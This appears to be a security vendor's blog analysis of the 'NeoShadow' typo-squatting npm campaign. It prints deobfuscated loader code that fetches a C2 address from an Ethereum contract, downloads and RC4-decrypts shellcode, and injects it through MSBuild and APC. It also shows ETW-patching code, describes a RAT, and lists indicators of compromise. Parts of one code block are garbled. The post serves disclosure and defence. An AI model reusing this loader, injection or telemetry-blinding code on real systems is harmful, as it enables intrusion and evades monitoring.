

# NeoShadow npm Supply-Chain Attack: JavaScript, MSBuild & Blockchain

 [aikido.dev/blog/neoshadow-npm-supply-chain-attack-javascript-msbuild-blockchain](https://aikido.dev/blog/neoshadow-npm-supply-chain-attack-javascript-msbuild-blockchain)

Charlie Eriksen

January 5, 2026



On December 30th, a sudden burst of new npm packages from a single author caught our attention. Our analysis engine flagged several of them as suspicious soon after they appeared. We are calling this campaign/threat actor **"NeoShadow"**, based on a common identifier seen in its stage 2 payload. The identified packages were:

- viem-js
- cyrpto
- tailwin
- supabase-js



**cjh97123**

Clemens

4 Packages

## Packages 4

### viem-js

cjh97123 published 1.0.2 • 3 days ago

### cyrpto

cjh97123 published 1.0.2 • 3 days ago

### tailwin

cjh97123 published 1.0.2 • 3 days ago

### supabase-js

cjh97123 published 1.0.2 • 3 days ago

All were released by the user **cjh97123**. They are all typo-squatting packages, which is nothing new. But we were amused by the actual malware we found within it. Not only did we find that the obfuscation was not easily deobfuscated by common tools, but we could tell that the malware was doing quite novel things. So we set off to improve our deobfuscation tool chains once again and get to the bottom of this malware.

## Stage 0 - Malicious JS on npm

The first part of our investigation begins with this setup file, but be warned: it will soon take us into weird and wonderful territories. This JavaScript file, located in scripts/setup.js across all packages, serves as a **Windows-only, multi-stage loader**. Its behavior can be summarized as the following ordered stages:

### 1 Platform & Environment Validation

-  Confirms execution on **Windows**
-  Applies an **anti-analysis heuristic** by counting Windows System Event Log entries
-  Exits early on low-activity or sandbox-like environments

## 2 Dynamic Configuration via Blockchain

---

-  Queries an **Ethereum smart contract** using Etherscan's eth\_call API
-  Extracts a dynamically stored string from on-chain data
-  Treats the decoded value as a **C2 base URL**
-  Falls back to a hardcoded domain if the chain lookup fails

## 3 Covert Payload Acquisition

---

-  Requests a remote JavaScript file masquerading as analytics
-  Locates a **Base64-encoded blob hidden inside a block comment**
-  Uses the comment solely as a payload container, not executable code

## 4 Living-off-the-Land Execution (MSBuild)

---

-  Writes a temporary **MSBuild project (.proj)** file
-  Embeds inline **C# code** using CodeTaskFactory
-  Executes without dropping or compiling a standalone executable
-  Relies on a trusted Windows binary (MSBuild.exe)

## 5 Payload Decryption

---

-  Decodes the Base64 payload
-  Derives an **RC4 key** by XOR-masking the first 16 bytes
-  Decrypts the remaining payload in memory

## 6 Process Injection & Execution

---

-  Spawns RuntimeBroker.exe in a suspended state
-  Allocates memory in the remote process
-  Writes decrypted shellcode
-  Executes via **APC injection** (`QueueUserAPC` + `ResumeThread`)

## 7 Secondary Artifact Deployment

---

-  Optionally downloads a follow-up configuration file
-  Persists it under: `%APPDATA%\Microsoft\CLR\config.proj`

That's a lot. If you're curious, here's the actual code after our deobfuscation:

```

const {
  execSync: a0_0x284172
} = require("child_process");
const a0_0x363405 = require("os");
const a0_0x53848c = require("path");
const a0_0x651569 = require("fs");
const a0_0x7f4e56 = "0x13660FD7Edc862377e799b0Caf68f99a2939B5cC";
async function a0_0x2da91a() {
  if (!a0_0x7f4e56 || "0x13660FD7Edc862377e799b0Caf68f99a2939B5cC".length < 10 ||
    !"0x13660FD7Edc862377e799b0Caf68f99a2939B5cC".startsWith("0x")) return null;
  const _0x40ca65 = require("https");
  return new Promise(_0x18a121 => {
    _0x40ca65.get("https://api.etherscan.io/v2/api?
chainid=1&module=proxy&action=eth_call&to=0x13660FD7Edc862377e799b0Caf68f99a2939B5cC&data=
0xd6bd8727&apikey=GAH6BHW1WXF3TNQ4AH3G44B7BWVVKPKSV5", _0xc12477 => {
      const _0x5a6f92 = {
        xSUuD: function (_0x8e23dc, _0x473cc1) {
          return _0x8e23dc !== _0x473cc1;
        },
        kByHu: function (_0x291b51, _0x45ee39, _0x314df2) {
          return _0x291b51(_0x45ee39, _0x314df2);
        },
        TSNUY: function (_0x551c1c, _0xa10773) {
          return _0x551c1c * _0xa10773;
        },
        IxNWN: function (_0x5bf459, _0x3b5803) {
          return _0x5bf459 < _0x3b5803;
        },
        TNYat: function (_0x2a4142, _0x55bc29) {
          return _0x2a4142 + _0x55bc29;
        },
        jmkEP: "http",
        bpmxg: function (_0x596591, _0x2230d0) {
          return _0x596591(_0x2230d0);
        }
      };
    };
    let _0x44c1fc = "";
    _0xc12477.on("data", _0x4c04af => _0x44c1fc += _0x4c04af);
    _0xc12477.on("end", () => {
      try {
        const _0x19ede0 = JSON.parse(_0x44c1fc);
        if (_0x19ede0.result && _0x19ede0.result !== "0x") {
          const _0x501fdb = _0x19ede0.result.slice(2);
          const _0xacca97 = _0x5a6f92.kByHu(parseInt, _0x501fdb.slice(64, 128), 16);
          const _0x4d9687 = _0x501fdb.slice(128, 128 + _0xacca97 * 2);
          let _0x2d977d = "";
          for (let _0x39ae37 = 0; _0x39ae37 < _0x4d9687.length; _0x39ae37 += 2) {
            _0x2d977d += String.fromCharCode(parseInt(_0x4d9687.slice(_0x39ae37,
            _0x39ae37 + 2), 16));
          }
          if (_0x2d977d.startsWith("http")) {
            _0x5a6f92.bpmxg(_0x18a121, _0x2d977d);
          }
        }
      }
    });
  });
}

```



```

0; k < data.Length; k++) {\n          x = (x + 1) & 0xFF;\n          y = (y + s[x]) & 0xFF;\n      byte t = s[x]; s[x] = s[y]; s[y] = t;\n      o[k] = (byte)(data[k] ^ s[(s[x] + s[y]) & 0xFF]);\n  }\n  return o;\n}\n\nstatic byte[] PolyDecode(byte[] payload) {\n  byte[] mask =\n  {0x5A,0xA5,0x3C,0xC3,0x69,0x96,0x55,0xAA,0xF0,0x0F,0xE1,0x1E,0xD2,0x2D,0xB4,0x4B};\n  byte[] key = new byte[16];\n  for (int i = 0; i < 16; i++) key[i] = (byte)(payload[i] ^ mask[i]);\n  byte[] enc = new byte[payload.Length - 16];\n  Array.Copy(payload, 16, enc, 0, enc.Length);\n  return RC4(enc, key);\n}\n\npublic override bool Execute()\n{\n  try {\n    byte[] raw = Convert.FromBase64String("\"" + _0x42ee70 + "\"");\n    byte[] d = PolyDecode(raw);\n    SI si = new SI(); si.cb = Marshal.SizeOf(si); PI pi;\n    if (!CreateProcessW(\"C:\\\\Windows\\\\System32\\\\RuntimeBroker.exe\", null, IntPtr.Zero, IntPtr.Zero, false, 0x08000004, IntPtr.Zero, null, ref si, out pi)) return true;\n    IntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)d.Length, 0x3000, 0x40);\n    if (addr == IntPtr.Zero) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return true; }\n    uint w = 0; WriteProcessMemory(pi.hProcess, addr, d, (uint)d.Length, ref w);\n    QueueUserAPC(addr, pi.hThread, IntPtr.Zero);\n    ResumeThread(pi.hThread);\n    CloseHandle(pi.hThread); CloseHandle(pi.hProcess);\n  }\n  try {\n    var wc = new WebClient();\n    string proj = wc.DownloadString(\"" + _0x4bce67 + \"/_next/data/config.json\");\n    string dir = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), \"Microsoft\", \"CLR\");\n    Directory.CreateDirectory(dir);\n    File.WriteAllText(Path.Combine(dir, \"config.proj\"), proj);\n  } catch {} catch {} return true;\n}\n}\n\n</UsingTask></Project>");\n\ntry {\n  a0_0x284172(\"" + _0x50f164 + "\" \"" + _0x112a23 + "\" /nologo /noconsolelogger", {\n    windowsHide: true,\n    timeout: 30000,\n    stdio: "ignore"\n  });\n} catch (_0x48f097) {}\n\ntry {\n  a0_0x651569.unlinkSync(_0x112a23);\n} catch (_0x245ac6) {}\n\nreturn true;\n}\n\nasync function a0_0x46b335() {\n  if (a0_0x363405.platform() !== "win32") return;\n  if (!a0_0x1c5097()) return;\n  try {\n    const _0x2186b3 = require("https");\n    let _0x6212ce = await a0_0x2da91a();\n    if (!_0x6212ce) _0x6212ce = "https://metrics-flow[.]com";\n    if (!_0x6212ce || !_0x6212ce.startsWith("http")) return;\n    const _0xe78890 = _0x6212ce + "/assets/js/analytics.min.js";\n    const _0x4a6c3b = await new Promise((_0x3a7450, _0x340a89) => {\n      _0x2186b3.get(_0xe78890, _0x891520 => {\n        let _0x470b55 = "";\n        _0x891520.on("data", _0x32cd17 => _0x470b55 += _0x32cd17);\n        _0x891520.on("end", () => _0x3a7450(_0x470b55));\n      }).on("error", _0x340a89);\n    });\n  }\n}

```

```
const _0x168fcf = _0x4a6c3b.match(/\\"(.+)\\"/);
if (!_0x168fcf || !_0x168fcf[1]) return;
a0_0x218fb4(_0x168fcf[1], _0x6212ce);
} catch (_0x1b35d8) {}
}
a0_0x46b335()["catch"](() => {});
```

This allows us to see the logic more clearly. It's a novel approach to use MSBuild and C# code. As in the other version, it attempts to download the payload from [https://metrics-flow\[.\]com/assets/js/analytics.min.js](https://metrics-flow[.]com/assets/js/analytics.min.js) and decrypt it with an RC4 key.

## Stage 1 - What the MSBuild?

---

One thing you will notice in the code is that it tries to pull the file `_next/data/config.json` from the C2 domain. So I fetched it, and it returned a nicer version of the MSBuild script:

```

<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Build"><T /></Target>
<UsingTask TaskName="T" TaskFactory="CodeTaskFactory"
AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.v4.0.dll">
<Task><Code Type="Class" Language="cs"><![CDATA[
using System;using System.Net;using System.Text.RegularExpressions;using
System.Runtime.InteropServices;
using Microsoft.Build.Framework;using Microsoft.Build.Utilities;
public class T : Task {
[StructLayout(LayoutKind.Sequential)] struct SI { public int cb; public IntPtr a,b,c;
public int d,e,f,g,h,i; public short j,k; public IntPtr l,m,n,o; }
[StructLayout(LayoutKind.Sequential)] struct PI { public IntPtr hProcess, hThread; public
int pid, tid; }
[DllImport("kernel32.dll", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool
CreateProcessW(string a, string b, IntPtr c, IntPtr d, bool e, uint f, IntPtr g, string h,
ref SI i, out PI j);
[DllImport("kernel32.dll")] static extern IntPtr VirtualAllocEx(IntPtr a, IntPtr b, uint
c, uint d, uint e);
[DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr a, IntPtr b,
byte[] c, uint d, ref uint e);
[DllImport("kernel32.dll")] static extern uint QueueUserAPC(IntPtr a, IntPtr b, IntPtr c);
[DllImport("kernel32.dll")] static extern uint ResumeThread(IntPtr a);
[DllImport("kernel32.dll")] static extern bool CloseHandle(IntPtr a);

static byte[] RC4(byte[] data, byte[] key) {
    byte[] s = new byte[256]; for (int i = 0; i < 256; i++) s[i] = (byte)i;
    int j = 0; for (int i = 0; i < 256; i++) { j = (j + s[i] + key[i % key.Length]) &
0xFF; byte t = s[i]; s[i] = s[j]; s[j] = t; }
    byte[] o = new byte[data.Length]; int x = 0, y = 0;
    for (int k = 0; k < data.Length; k++) { x = (x + 1) & 0xFF; y = (y + s[x]) & 0xFF;
byte t = s[x]; s[x] = s[y]; s[y] = t; o[k] = (byte)(data[k] ^ s[(s[x] + s[y]) & 0xFF]); }
    return o;
}

static string GetC2FromEth(string contract, string apiKey) {
    if (string.IsNullOrEmpty(contract) || !contract.StartsWith("0x")) return null;
    try {
        var w = new WebClient();
        var url = "https://api.etherscan.io/v2/api?
chainid=1&module=proxy&action=eth_call&to=" + contract + "&data=0xd6bd8727&apikey=" +
apiKey;
        var json = w.DownloadString(url);
        var m = Regex.Match(json, "\\\"result\\\":\\\"(0x[0-9a-fA-F]+)\\\"");
        if (!m.Success) return null;
        var hex = m.Groups[1].Value.Substring(2);
        if (hex.Length < 130) return null;
        var strLen = Convert.ToInt32(hex.Substring(64, 64), 16);
        if (strLen <= 0 || strLen > 500) return null;
        var strHex = hex.Substring(128, strLen * 2);
        var chars = new char[strLen];
        for (int i = 0; i < strLen; i++) chars[i] =

```

```

(char)Convert.ToByte(strHex.Substring(i * 2, 2), 16);
    var c2 = new string(chars);
    return c2.StartsWith("http") ? c2 : null;
} catch { return null; }
}

public override bool Execute() {
try {
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
string c2 = GetC2FromEth("", "");
if (string.IsNullOrEmpty(c2)) c2 = "https://metrics-flow.com";
if (string.IsNullOrEmpty(c2) || !c2.StartsWith("http")) return true;

var w = new WebClient();
var cfg = w.DownloadString(c2 + "/assets/js/analytics.min.js");
if (!cfg.StartsWith("/") || !cfg.EndsWith("/")) return true;
cfg = cfg.Substring(2, cfg.Length - 4);
var raw = Convert.FromBase64String(cfg);
byte[] mask =
{0x5A, 0xA5, 0x3C, 0xC3, 0x69, 0x96, 0x55, 0xAA, 0xF0, 0x0F, 0xE1, 0x1E, 0xD2, 0x2D, 0xB4, 0x4B};
var key = new byte[16]; for (int i = 0; i < 16; i++) key[i] = (byte)(raw[i] ^ mask[i]);
var enc = new byte[raw.Length - 16]; Array.Copy(raw, 16, enc, 0, enc.Length);
var d = RC4(enc, key);

SI si = new SI(); si.cb = Marshal.SizeOf(si); PI pi;
if (!CreateProcessW("C:\\Windows\\System32\\RuntimeBroker.exe", null, IntPtr.Zero,
IntPtr.Zero, false, 0x08000004, IntPtr.Zero, null, ref si, out pi)) return true;
IntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)d.Length, 0x3000, 0x40);
if (addr == IntPtr.Zero) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return true;
}
uint written = 0; WriteProcessMemory(pi.hProcess, addr, d, (uint)d.Length, ref written);
QueueUserAPC(addr, pi.hThread, IntPtr.Zero);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread); CloseHandle(pi.hProcess);
} catch {} return true;
}}
]]></Code></Task></UsingTask></Project>

```

This allows us to see the logic more clearly. It's a novel approach to use MSBuild and C# code. As in the other version, it attempts to download the payload from [https://metrics-flow\[.\]com/assets/js/analytics.min.js](https://metrics-flow[.]com/assets/js/analytics.min.js) and decrypt it with an RC4 key.

## Stage 2 - Shellcode analysis

At this point, we were naturally curious about what justified the effort behind such a novel delivery mechanism. After decrypting the payload, we found it contained shellcode, as expected.

While digging through the raw bytes of the decrypted payload, two names immediately jumped out at us: **NeoShadowV2DeriveKey2026** and **Global\NSV2\_8e4b1d**. The link between them is hard to ignore. **NS** is a natural shorthand for *NeoShadow*, and both strings share the same **V2** marker. Taken

together, these don't look accidental or generic; they feel like the authors' internal labels. Based on this consistency, we refer to the threat actor behind this activity as **NeoShadow**. Seeing the same naming show up across cryptographic routines and execution controls gives the malware a clear identity and suggests a deliberately versioned, actively maintained toolset rather than a one-off experiment.

We then ran the shellcode through [Binary Ninja](#), which immediately produced a semi-readable C version. Only.. It's 4000 lines of ugly C. 🙄

So we fed that to Claude to get a cleaner version. And sure, it generated a nice and readable 1900-line version of the C code. This brings us to the next part of our adventure.

## Stage 3 - A rat in the build

---

The final payload is a fully featured backdoor designed for long-term access. Once running, it enters a beacon loop, checking in with the C2 server, reporting system info, and polling for commands. The implant is lightweight by design: it establishes access and provides an execution primitive, while all post-exploitation functionality gets pushed down as disposable modules.

### Beacon Behavior

---

- 📡 Sends encrypted check-ins over HTTPS POST
- 📄 Includes host fingerprint: computer name, username, agent ID
- 🔄 Randomizes URL paths to mimic legitimate traffic (`/assets/js/`, `/api/v1/`, `/wp-content/`, etc.)
- 🏷️ Tags requests with custom `X-Agent-Id` header for victim tracking
- ⌚ Supports configurable sleep interval with jitter (default 20%)

### Encryption

---

All C2 traffic is encrypted with ChaCha20, a stream cipher favored for its speed and security. Keys are established via Curve25519 ECDH.

### Command Set

---

The operators have three commands at their disposal:

#### sleep

- ⌚ Adjusts beacon interval on the fly
- 🚫 Let's operators go quiet during persistence phases or speed up for active engagement

#### module

- 🌐 Fetches payload from a URL
- 📦 If it's a DLL: locates `ReflectiveLoader` export, injects without touching disk

-  If it's shellcode: injects directly into `RuntimeBroker.exe` via APC injection
-  Primary mechanism for deploying post-exploitation tools

#### inject

-  Accepts base64-encoded shellcode directly in the command
-  Keeps everything inside the encrypted C2 channel
-  Same injection path as module, just without the network fetch

## Response Handling

---

-  Returns OK or DLL OK on success
-  Descriptive errors: Error: alloc, Error: fetch, Error: decode, Error: inject, Error: not PE
-  Injected DLLs can write to a shared buffer that gets exfiltrated in the response
-  All communication uses the same ChaCha20 encryption as the beacon

This tiny, minimalist Remote Access Trojan (RAT) is quite clever. Its sole function is to establish a persistent C2 link and act as a first-stage loader for more potent malware. This provides attackers with a flexible, low-profile entry point to deploy secondary tools (e.g., keyloggers or ransomware) and escalate the attack at will.

## Interesting features

---

The malware contains a few clever features to try to hide itself and its C2 server, which we've outlined below.

### Blinding the Host: ETW Patching

---

Event Tracing for Windows is the nervous system of modern Windows telemetry. When a .NET assembly loads, ETW sees it. When PowerShell executes a script block, ETW logs it. When a process spawns, a thread is created, a DLL is loaded, a network connection is established, ETW events are emitted, and security products consume them. Security platforms, including endpoint detection and response (EDR) solutions and SIEM tools, all rely heavily on ETW for detection. Disabling ETW severely impairs the visibility of these security tools. Note that this is not a new technique; it has been well known for years.

The implant does exactly that. Before establishing C2 communications or performing any suspicious activity, it locates `NtTraceEvent` in `ntdll.dll`, the low-level function that all ETW event emission eventually funnels through. It resolves the address via its standard hash-based API resolution (hash `0xDECF1BF`), then calls `VirtualProtect` to make the function's memory writable:

```
char funcName[] = "NtTraceEvent";
char* ntTraceEvent = GetProcAddress(hNtdll, funcName);

DWORD oldProtect;
VirtualProtect(ntTraceEvent, 4, PAGE_EXECUTE_READWRITE, &oldProtect);
```

With write access in hand, it overwrites the first four bytes of the function with a simple stub that returns success without doing anything:

```
// Before patching
NtTraceEvent:
    4c 8b d1      mov r10, rcx
    b8 XX XX 00 00 mov eax, <syscall#>
    0f 05        syscall
    c3          ret

// After patching
NtTraceEvent:
    48 33 c0      xor rax, rax      ; rax = 0 (STATUS_SUCCESS)
    c3          ret      ; return immediately
```

That's it. Four bytes, **48 33 C0 C3**, and every ETW event on the system stops firing. The function returns **STATUS\_SUCCESS** so callers don't error out or retry, but no events ever reach the kernel. Security products querying ETW providers get silence.

## C2 Server camouflage

---

So, we checked out the C2 domain **metrics-flow[.]com**, and we had a good laugh at the attackers attempt to camouflage themselves. They've built in a clever layer of security designed to throw off automated tools and human researchers. When you hit the main page, you don't get the same thing twice. Instead, the server dishes out a completely random set of fake content, making it look like a totally normal, non-malicious website. Very cute, and it will make it easy to identify the C2 servers for researchers going forward. 😊

## C2 Domain

---

The C2 domain was registered around the very same time that the malware was first published on npm, on December 30th, 2025, as seen by the whois information:

## Version 2 changes

---

All the analysis up to this point is based on the version deployed on December 30th, 2025. Another version of the packages was deployed on January 2nd, 2026. The most notable change is that a Windows executable, `analytics.node`, is also included. We noticed that no AV on VirusTotal detected it as malicious:

<https://www.virustotal.com/gui/file/012dfb89ebabcb8918efb0952f4a91515048fd3b87558e90fa45a7ded6656c07/detection>

In addition, the JavaScript file was obfuscated differently and is more challenging to deobfuscate than the original version, with what appear to be new obfuscation techniques included in the release.

We also get another reference to the project being called NeoShadow:

`C:\\Users\\admin\\Desktop\\NeoShadow\\core\\loader\\native\\build\\Release\\analytics.pdb`

## Conclusion

---

At this time, we haven't attempted to retrieve a dynamic payload from the C2 server. However, we've clearly seen a well-engineered attempt to deliver what we believe is novel malware as part of a larger, previously undocumented campaign that has built its own C2 server, RAT, delivery mechanism, and camouflaging techniques to hide its C2 server.



## Indicators of compromise

---

- **Domain:** `metrics-flow[.]com`
- **IP Address:** `80.78.22[.]206`
- **Binary:** `012dfb89ebabcb8918efb0952f4a91515048fd3b87558e90fa45a7ded6656c07`
- **Ethereum Address:** `0x13660FD7Edc862377e799b0Caf68f99a2939B5cC`
- **Mutex name:** `Global\\NSV2_8e4b1d`
- **NPM Packages:**
  - `viem-js`
  - `cyrpto`
  - `tailwin`
  - `supabase-js`





Charlie Eriksen is a Security Researcher at Aikido Security, with extensive experience across IT security - including in product and leadership roles. He is the founder of jswzl and he previously worked at Secure Code Warrior as a security researcher and co-founded Adversary.